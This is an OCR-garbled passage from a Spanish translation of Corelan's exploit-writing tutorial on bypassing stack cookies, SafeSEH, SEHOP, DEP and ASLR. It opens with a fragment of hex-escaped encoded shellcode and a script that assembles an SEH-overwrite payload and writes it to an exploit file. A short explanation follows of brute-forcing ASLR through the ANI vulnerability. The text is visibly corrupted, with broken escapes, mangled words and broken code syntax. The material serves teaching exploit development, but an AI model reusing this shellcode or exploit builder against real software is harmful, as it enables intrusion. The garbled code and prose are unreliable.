"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x4 3\x50\x4
" \x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x4
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x4
" \x4b\x39\x4a\x58\x4d\x53\x49\x50\x4 3\x5a\x50\x50\x4
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x4
"\x42\x4c\x43\x53\x43\x30\x41\x4 1 "
$payload =$junk.$nseh.$seh.$nop.$shellcode;
" [+] Writing exploit file $sploitfile\n
($FILE," >$sploitfile ");
$FILE $payload,;
($FILE);
S £ ($payload)." bytes written to file\n

ASLR y DEP

El exploit de ANI muestra una posible forma de avél DEP y ASLR, al
mismo tiempo. El codigo vulnerable que permitiélgnerabilidad de ANI
para ser explotada estaba envuelto en un controflsdexcepciones que no
hizo el crashear a la aplicacion. Asi que la didecen ntdll.dll (Que esta
sujeta a ASLR y por lo tanto randomizada) para aesa DEP podria ser
a través de fuerza bruta probando varios archieoANI (un maximo de
256 archivos diferentes serviria) cada uno condinegcion diferente.



Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

¢, Preguntas? ¢ Comentarios? ¢ Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-eaié

© 2009 - 2012, Corelan Team (corelanc0d3r). Todssaquierdos
reservados®

Pagina Oficial en Inglés:

http://www.corelan.be:8800/index.php/2009/07/19leiawriting-tutorial-part-1-stack-
based-overflows/

Traductor:Ivinson/CLS. Contactoipadilla63@gmail.com




